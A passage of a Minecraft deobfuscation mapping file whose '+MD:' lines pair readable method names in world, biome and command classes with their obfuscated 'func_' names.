net/minecraft/world/EnumSkyBlock/values ()[Lnet/minecraft/world/EnumSkyBlock; +MD: net/minecraft/world/SpawnerAnimals/getRandomChunkPosition (Lnet/minecraft/world/World;II)Lnet/minecraft/util/BlockPos; net/minecraft/world/SpawnerAnimals/func_180621_a (Lnet/minecraft/world/World;II)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/SpawnerAnimals/performWorldGenSpawning (Lnet/minecraft/world/World;Lnet/minecraft/world/biome/BiomeGenBase;IIIILjava/util/Random;)V net/minecraft/world/SpawnerAnimals/func_77191_a (Lnet/minecraft/world/World;Lnet/minecraft/world/biome/BiomeGenBase;IIIILjava/util/Random;)V +MD: net/minecraft/world/SpawnerAnimals/findChunksForSpawning (Lnet/minecraft/world/WorldServer;ZZZ)I net/minecraft/world/SpawnerAnimals/func_77192_a (Lnet/minecraft/world/WorldServer;ZZZ)I +MD: net/minecraft/world/SpawnerAnimals/canCreatureTypeSpawnAtLocation (Lnet/minecraft/entity/EntityLiving$SpawnPlacementType;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/SpawnerAnimals/func_180267_a (Lnet/minecraft/entity/EntityLiving$SpawnPlacementType;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/Teleporter/removeStalePortalLocations (J)V net/minecraft/world/Teleporter/func_85189_a (J)V +MD: net/minecraft/world/Teleporter/makePortal (Lnet/minecraft/entity/Entity;)Z net/minecraft/world/Teleporter/func_85188_a (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/world/Teleporter/placeInPortal (Lnet/minecraft/entity/Entity;F)V net/minecraft/world/Teleporter/func_180266_a (Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/world/Teleporter/placeInExistingPortal (Lnet/minecraft/entity/Entity;F)Z net/minecraft/world/Teleporter/func_180620_b (Lnet/minecraft/entity/Entity;F)Z +MD: net/minecraft/world/ChunkCache/getWorldType ()Lnet/minecraft/world/WorldType; net/minecraft/world/ChunkCache/func_175624_G ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/ChunkCache/extendedLevelsInChunkCache ()Z net/minecraft/world/ChunkCache/func_72806_N ()Z +MD: net/minecraft/world/ChunkCache/getLightForExt (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/ChunkCache/func_175629_a (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/ChunkCache/getStrongPower (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I net/minecraft/world/ChunkCache/func_175627_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/world/ChunkCache/getLightFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/ChunkCache/func_175628_b (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/ChunkCache/getBiomeGenForCoords (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/ChunkCache/func_180494_b (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/ChunkCache/getCombinedLight (Lnet/minecraft/util/BlockPos;I)I net/minecraft/world/ChunkCache/func_175626_b (Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/world/ChunkCache/isAirBlock (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/ChunkCache/func_175623_d (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/ChunkCache/getBlockState (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/ChunkCache/func_180495_p (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/ChunkCache/getTileEntity (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; net/minecraft/world/ChunkCache/func_175625_s (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/world/NextTickListEntry/getBlock ()Lnet/minecraft/block/Block; net/minecraft/world/NextTickListEntry/func_151351_a ()Lnet/minecraft/block/Block; +MD: net/minecraft/world/NextTickListEntry/setPriority (I)V net/minecraft/world/NextTickListEntry/func_82753_a (I)V +MD: net/minecraft/world/NextTickListEntry/setScheduledTime (J)Lnet/minecraft/world/NextTickListEntry; net/minecraft/world/NextTickListEntry/func_77176_a (J)Lnet/minecraft/world/NextTickListEntry; +MD: net/minecraft/world/NextTickListEntry/compareTo (Lnet/minecraft/world/NextTickListEntry;)I net/minecraft/world/NextTickListEntry/compareTo (Lnet/minecraft/world/NextTickListEntry;)I +MD: net/minecraft/world/NextTickListEntry/compareTo (Ljava/lang/Object;)I net/minecraft/world/NextTickListEntry/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/world/NextTickListEntry/equals (Ljava/lang/Object;)Z net/minecraft/world/NextTickListEntry/equals (Ljava/lang/Object;)Z +MD: net/minecraft/world/NextTickListEntry/hashCode ()I net/minecraft/world/NextTickListEntry/hashCode ()I +MD: net/minecraft/world/NextTickListEntry/toString ()Ljava/lang/String; net/minecraft/world/NextTickListEntry/toString ()Ljava/lang/String; +MD: net/minecraft/world/biome/BiomeGenBase$Height/attenuate ()Lnet/minecraft/world/biome/BiomeGenBase$Height; net/minecraft/world/biome/BiomeGenBase$Height/func_150775_a ()Lnet/minecraft/world/biome/BiomeGenBase$Height; +MD: net/minecraft/world/biome/BiomeGenBase$TempCategory/values ()[Lnet/minecraft/world/biome/BiomeGenBase$TempCategory; net/minecraft/world/biome/BiomeGenBase$TempCategory/values ()[Lnet/minecraft/world/biome/BiomeGenBase$TempCategory; +MD: net/minecraft/world/biome/BiomeGenBase$SpawnListEntry/toString ()Ljava/lang/String; net/minecraft/world/biome/BiomeGenBase$SpawnListEntry/toString ()Ljava/lang/String; +MD: net/minecraft/world/biome/BiomeGenBase/createBiomeDecorator ()Lnet/minecraft/world/biome/BiomeDecorator; net/minecraft/world/biome/BiomeGenBase/func_76729_a ()Lnet/minecraft/world/biome/BiomeDecorator; +MD: net/minecraft/world/biome/BiomeGenBase/getSkyColorByTemp (F)I net/minecraft/world/biome/BiomeGenBase/func_76731_a (F)I +MD: net/minecraft/world/biome/BiomeGenBase/setTemperatureRainfall (FF)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_76732_a (FF)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/setFillerBlockMetadata (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_76733_a (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/getBiomeFromBiomeList (ILnet/minecraft/world/biome/BiomeGenBase;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_180276_a (ILnet/minecraft/world/biome/BiomeGenBase;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/func_150557_a (IZ)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_150557_a (IZ)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/genTerrainBlocks (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenBase/func_180622_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenBase/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenBase/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenBase/setHeight (Lnet/minecraft/world/biome/BiomeGenBase$Height;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_150570_a (Lnet/minecraft/world/biome/BiomeGenBase$Height;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/isEqualTo (Lnet/minecraft/world/biome/BiomeGenBase;)Z net/minecraft/world/biome/BiomeGenBase/func_150569_a (Lnet/minecraft/world/biome/BiomeGenBase;)Z +MD: net/minecraft/world/biome/BiomeGenBase/getFloatTemperature (Lnet/minecraft/util/BlockPos;)F net/minecraft/world/biome/BiomeGenBase/func_180626_a (Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/world/biome/BiomeGenBase/setBiomeName (Ljava/lang/String;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_76735_a (Ljava/lang/String;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenBase/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenBase/pickRandomFlower (Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockFlower$EnumFlowerType; net/minecraft/world/biome/BiomeGenBase/func_180623_a (Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockFlower$EnumFlowerType; +MD: net/minecraft/world/biome/BiomeGenBase/getSpawnableList (Lnet/minecraft/entity/EnumCreatureType;)Ljava/util/List; net/minecraft/world/biome/BiomeGenBase/func_76747_a (Lnet/minecraft/entity/EnumCreatureType;)Ljava/util/List; +MD: net/minecraft/world/biome/BiomeGenBase/setDisableRain ()Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_76745_m ()Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/setColor (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_76739_b (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/generateBiomeTerrain (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenBase/func_180628_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenBase/getGrassColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenBase/func_180627_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenBase/getRandomWorldGenForGrass (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenerator; net/minecraft/world/biome/BiomeGenBase/func_76730_b (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenerator; +MD: net/minecraft/world/biome/BiomeGenBase/setEnableSnow ()Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_76742_b ()Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/func_150563_c (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_150563_c (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/getFoliageColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenBase/func_180625_c (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenBase/getEnableSnow ()Z net/minecraft/world/biome/BiomeGenBase/func_76746_c ()Z +MD: net/minecraft/world/biome/BiomeGenBase/createMutatedBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_180277_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/canRain ()Z net/minecraft/world/biome/BiomeGenBase/func_76738_d ()Z +MD: net/minecraft/world/biome/BiomeGenBase/getBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_150568_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/isHighHumidity ()Z net/minecraft/world/biome/BiomeGenBase/func_76736_e ()Z +MD: net/minecraft/world/biome/BiomeGenBase/getSpawningChance ()F net/minecraft/world/biome/BiomeGenBase/func_76741_f ()F +MD: net/minecraft/world/biome/BiomeGenBase/getIntRainfall ()I net/minecraft/world/biome/BiomeGenBase/func_76744_g ()I +MD: net/minecraft/world/biome/BiomeGenBase/getFloatRainfall ()F net/minecraft/world/biome/BiomeGenBase/func_76727_i ()F +MD: net/minecraft/world/biome/BiomeGenBase/isSnowyBiome ()Z net/minecraft/world/biome/BiomeGenBase/func_150559_j ()Z +MD: net/minecraft/world/biome/BiomeGenBase/createMutation ()Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_150566_k ()Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenBase/getBiomeClass ()Ljava/lang/Class; net/minecraft/world/biome/BiomeGenBase/func_150562_l ()Ljava/lang/Class; +MD: net/minecraft/world/biome/BiomeGenBase/getTempCategory ()Lnet/minecraft/world/biome/BiomeGenBase$TempCategory; net/minecraft/world/biome/BiomeGenBase/func_150561_m ()Lnet/minecraft/world/biome/BiomeGenBase$TempCategory; +MD: net/minecraft/world/biome/BiomeGenBase/getBiomeGenArray ()[Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenBase/func_150565_n ()[Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeCache$Block/getBiomeGenAt (II)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeCache$Block/func_76885_a (II)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeCache/cleanupCache ()V net/minecraft/world/biome/BiomeCache/func_76838_a ()V +MD: net/minecraft/world/biome/BiomeCache/getBiomeCacheBlock (II)Lnet/minecraft/world/biome/BiomeCache$Block; net/minecraft/world/biome/BiomeCache/func_76840_a (II)Lnet/minecraft/world/biome/BiomeCache$Block; +MD: net/minecraft/world/biome/BiomeCache/func_180284_a (IILnet/minecraft/world/biome/BiomeGenBase;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeCache/func_180284_a (IILnet/minecraft/world/biome/BiomeGenBase;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeCache/access$000 (Lnet/minecraft/world/biome/BiomeCache;)Lnet/minecraft/world/biome/WorldChunkManager; net/minecraft/world/biome/BiomeCache/access$000 (Lnet/minecraft/world/biome/BiomeCache;)Lnet/minecraft/world/biome/WorldChunkManager; +MD: net/minecraft/world/biome/BiomeCache/getCachedBiomes (II)[Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeCache/func_76839_e (II)[Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/command/CommandXP/getRequiredPermissionLevel ()I net/minecraft/command/CommandXP/func_82362_a ()I +MD: net/minecraft/command/CommandXP/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandXP/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandXP/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandXP/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandXP/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandXP/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandXP/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandXP/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandXP/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandXP/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandXP/getAllUsernames ()[Ljava/lang/String; net/minecraft/command/CommandXP/func_71542_c ()[Ljava/lang/String; +MD: net/minecraft/world/biome/BiomeColorHelper$1/getColorAtPos (Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeColorHelper$1/func_180283_a (Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeColorHelper$2/getColorAtPos (Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeColorHelper$2/func_180283_a (Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeColorHelper$3/getColorAtPos (Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeColorHelper$3/func_180283_a (Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeColorHelper$ColorResolver/getColorAtPos (Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeColorHelper$ColorResolver/func_180283_a (Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeColorHelper/getGrassColorAtPos (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeColorHelper/func_180286_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeColorHelper/getColorAtPos (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/biome/BiomeColorHelper$ColorResolver;)I net/minecraft/world/biome/BiomeColorHelper/func_180285_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/biome/BiomeColorHelper$ColorResolver;)I +MD: net/minecraft/world/biome/BiomeColorHelper/getFoliageColorAtPos (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeColorHelper/func_180287_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeColorHelper/getWaterColorAtPos (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeColorHelper/func_180288_c (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeDecorator/generateOres ()V net/minecraft/world/biome/BiomeDecorator/func_76797_b ()V +MD: net/minecraft/world/biome/BiomeDecorator/genStandardOre1 (ILnet/minecraft/world/gen/feature/WorldGenerator;II)V net/minecraft/world/biome/BiomeDecorator/func_76795_a (ILnet/minecraft/world/gen/feature/WorldGenerator;II)V +MD: net/minecraft/world/biome/BiomeDecorator/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeDecorator/func_180292_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/biome/BiomeGenBase;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeDecorator/genDecorations (Lnet/minecraft/world/biome/BiomeGenBase;)V net/minecraft/world/biome/BiomeDecorator/func_150513_a (Lnet/minecraft/world/biome/BiomeGenBase;)V +MD: net/minecraft/world/biome/BiomeDecorator/genStandardOre2 (ILnet/minecraft/world/gen/feature/WorldGenerator;II)V net/minecraft/world/biome/BiomeDecorator/func_76793_b (ILnet/minecraft/world/gen/feature/WorldGenerator;II)V +MD: net/minecraft/world/biome/WorldChunkManager/getBiomesToSpawnIn ()Ljava/util/List; net/minecraft/world/biome/WorldChunkManager/func_76932_a ()Ljava/util/List; +MD: net/minecraft/world/biome/WorldChunkManager/getTemperatureAtHeight (FI)F net/minecraft/world/biome/WorldChunkManager/func_76939_a (FI)F +MD: net/minecraft/world/biome/WorldChunkManager/areBiomesViable (IIILjava/util/List;)Z net/minecraft/world/biome/WorldChunkManager/func_76940_a (IIILjava/util/List;)Z +MD: net/minecraft/world/biome/WorldChunkManager/findBiomePosition (IIILjava/util/List;Ljava/util/Random;)Lnet/minecraft/util/BlockPos; net/minecraft/world/biome/WorldChunkManager/func_180630_a (IIILjava/util/List;Ljava/util/Random;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/biome/WorldChunkManager/getBiomeGenerator (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManager/func_180631_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/WorldChunkManager/getBiomeGenerator (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/biome/BiomeGenBase;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManager/func_180300_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/biome/BiomeGenBase;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/WorldChunkManager/getRainfall ([FIIII)[F net/minecraft/world/biome/WorldChunkManager/func_76936_a ([FIIII)[F +MD: net/minecraft/world/biome/WorldChunkManager/getBiomesForGeneration ([Lnet/minecraft/world/biome/BiomeGenBase;IIII)[Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManager/func_76937_a ([Lnet/minecraft/world/biome/BiomeGenBase;IIII)[Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/WorldChunkManager/getBiomeGenAt ([Lnet/minecraft/world/biome/BiomeGenBase;IIIIZ)[Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManager/func_76931_a ([Lnet/minecraft/world/biome/BiomeGenBase;IIIIZ)[Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/WorldChunkManager/cleanupCache ()V net/minecraft/world/biome/WorldChunkManager/func_76938_b ()V +MD: net/minecraft/world/biome/WorldChunkManager/loadBlockGeneratorData ([Lnet/minecraft/world/biome/BiomeGenBase;IIII)[Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManager/func_76933_b ([Lnet/minecraft/world/biome/BiomeGenBase;IIII)[Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenDesert/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenDesert/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenHills/genTerrainBlocks (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V net/minecraft/world/biome/BiomeGenHills/func_180622_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/chunk/ChunkPrimer;IID)V +MD: net/minecraft/world/biome/BiomeGenHills/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenHills/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenHills/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenHills/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenHills/mutateHills (Lnet/minecraft/world/biome/BiomeGenBase;)Lnet/minecraft/world/biome/BiomeGenHills; net/minecraft/world/biome/BiomeGenHills/func_150633_b (Lnet/minecraft/world/biome/BiomeGenBase;)Lnet/minecraft/world/biome/BiomeGenHills; +MD: net/minecraft/world/biome/BiomeGenHills/createMutatedBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenHills/func_180277_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/WorldChunkManagerHell/areBiomesViable (IIILjava/util/List;)Z net/minecraft/world/biome/WorldChunkManagerHell/func_76940_a (IIILjava/util/List;)Z +MD: net/minecraft/world/biome/WorldChunkManagerHell/findBiomePosition (IIILjava/util/List;Ljava/util/Random;)Lnet/minecraft/util/BlockPos; net/minecraft/world/biome/WorldChunkManagerHell/func_180630_a (IIILjava/util/List;Ljava/util/Random;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/biome/WorldChunkManagerHell/getBiomeGenerator (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManagerHell/func_180631_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/WorldChunkManagerHell/getRainfall ([FIIII)[F net/minecraft/world/biome/WorldChunkManagerHell/func_76936_a ([FIIII)[F +MD: net/minecraft/world/biome/WorldChunkManagerHell/getBiomesForGeneration ([Lnet/minecraft/world/biome/BiomeGenBase;IIII)[Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManagerHell/func_76937_a ([Lnet/minecraft/world/biome/BiomeGenBase;IIII)[Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/WorldChunkManagerHell/getBiomeGenAt ([Lnet/minecraft/world/biome/BiomeGenBase;IIIIZ)[Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManagerHell/func_76931_a ([Lnet/minecraft/world/biome/BiomeGenBase;IIIIZ)[Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/WorldChunkManagerHell/loadBlockGeneratorData ([Lnet/minecraft/world/biome/BiomeGenBase;IIII)[Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/WorldChunkManagerHell/func_76933_b ([Lnet/minecraft/world/biome/BiomeGenBase;IIII)[Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenForest$2/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenForest$2/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenForest$1/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenForest$1/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenForest/func_150557_a (IZ)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenForest/func_150557_a (IZ)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenForest/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenForest/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenForest/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenForest/func_150567_a (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; +MD: net/minecraft/world/biome/BiomeGenForest/pickRandomFlower (Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockFlower$EnumFlowerType; net/minecraft/world/biome/BiomeGenForest/func_180623_a (Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockFlower$EnumFlowerType; +MD: net/minecraft/world/biome/BiomeGenForest/getGrassColorAtPos (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/biome/BiomeGenForest/func_180627_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/biome/BiomeGenForest/createMutatedBiome (I)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/biome/BiomeGenForest/func_180277_d (I)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/biome/BiomeGenSnow/decorate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/biome/BiomeGenSnow/func_180624_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/biome/BiomeGenSnow/genBigTreeChance (Ljava/util/Random;)Lnet/minecraft/world/gen/feature/WorldGenAbstractTree; net/minecraft/world/biome/BiomeGenSnow/func_150567_a 